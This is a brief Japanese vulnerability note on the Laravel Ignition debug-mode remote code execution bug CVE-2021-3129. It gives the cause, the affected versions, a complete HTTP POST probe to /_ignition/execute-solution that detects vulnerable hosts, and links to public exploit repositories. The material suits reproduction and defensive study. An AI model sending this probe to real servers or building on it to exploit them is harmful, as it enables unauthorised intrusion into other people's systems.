CVE-2021-3129

Laravel RCE CVE-2021-3129

脆弱性概要

LaravelでDebugモードが有効になっている場合、Laravelに組み込まれているIgnitionコンポーネントがfile_get_contents()とfile_put_contents()関数を安全に使用していないため、攻撃者は悪意のあるリクエストを送信したり、悪意のあるログファイルを作成したりすることでPharデシリアライゼーションを誘発し、最終的にリモートコード実行を引き起こす可能性があります。

影響を受けるバージョン

Laravel <= 8.4.2

脆弱性検証

• 500が返されると脆弱性が存在することを示す

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null

エクスプロイトスクリプト

参考

[CVE-2021-3129]Laravel Debug mode RCE复現 | tyskillのBlog

SNCKER/CVE-2021-3129: Laravel debug rce (github.com)

zhzyker/CVE-2021-3129: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129) (github.com)